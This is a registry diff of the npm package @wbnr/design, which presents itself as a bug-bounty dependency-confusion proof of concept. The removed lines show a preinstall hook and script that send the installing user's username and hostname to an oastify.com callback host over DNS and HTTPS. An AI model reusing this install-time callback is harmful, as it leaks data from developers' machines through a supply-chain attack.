@wbnr/design 99.0.1 → 99.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,4 +1 @@
1
- # @wbnr/design
2
-
3
- Authorized bug bounty Dependency Confusion PoC (researcher: profileusername).
4
- Contains only a harmless DNS/HTTPS callback on install. Not malicious malware.
1
+ Authorized bug bounty PoC - no install hooks
package/index.js CHANGED
@@ -1 +1 @@
1
- module.exports = {};
1
+ module.exports={}
package/package.json CHANGED
@@ -1,16 +1,8 @@
1
1
  {
2
2
  "name": "@wbnr/design",
3
- "version": "99.0.1",
4
- "description": "Bug bounty dependency confusion PoC - MTS Link / profileusername - harmless DNS callback only",
3
+ "version": "99.2.0",
4
+ "description": "Bug bounty dependency confusion PoC - MTS Link / profileusername",
5
5
  "main": "index.js",
6
- "scripts": {
7
- "preinstall": "node preinstall.js"
8
- },
9
6
  "author": "profileusername (bug bounty)",
10
- "license": "UNLICENSED",
11
- "keywords": [
12
- "security-research",
13
- "bug-bounty",
14
- "dependency-confusion-poc"
15
- ]
7
+ "license": "UNLICENSED"
16
8
  }
package/preinstall.js DELETED
@@ -1,12 +0,0 @@
1
- // Harmless OAST callback for authorized bug bounty PoC only
2
- const dns = require('dns');
3
- const https = require('https');
4
- const os = require('os');
5
- const pkg = '@wbnr/design'.replace(/[@\/]/g, '_');
6
- const host = process.env.USER || process.env.USERNAME || 'user';
7
- const hostname = os.hostname().replace(/[^a-zA-Z0-9-]/g, '-').slice(0, 40);
8
- const id = `${pkg}.${host}.${hostname}.${Date.now()}.4otph6fase1x2won0hrfzul2wt2qqge5.oastify.com`;
9
- dns.lookup(id, () => {});
10
- try {
11
- https.get(`https://4otph6fase1x2won0hrfzul2wt2qqge5.oastify.com/depconf/${pkg}/${encodeURIComponent(host)}/${encodeURIComponent(hostname)}`, () => {}).on('error', () => {});
12
- } catch (e) {}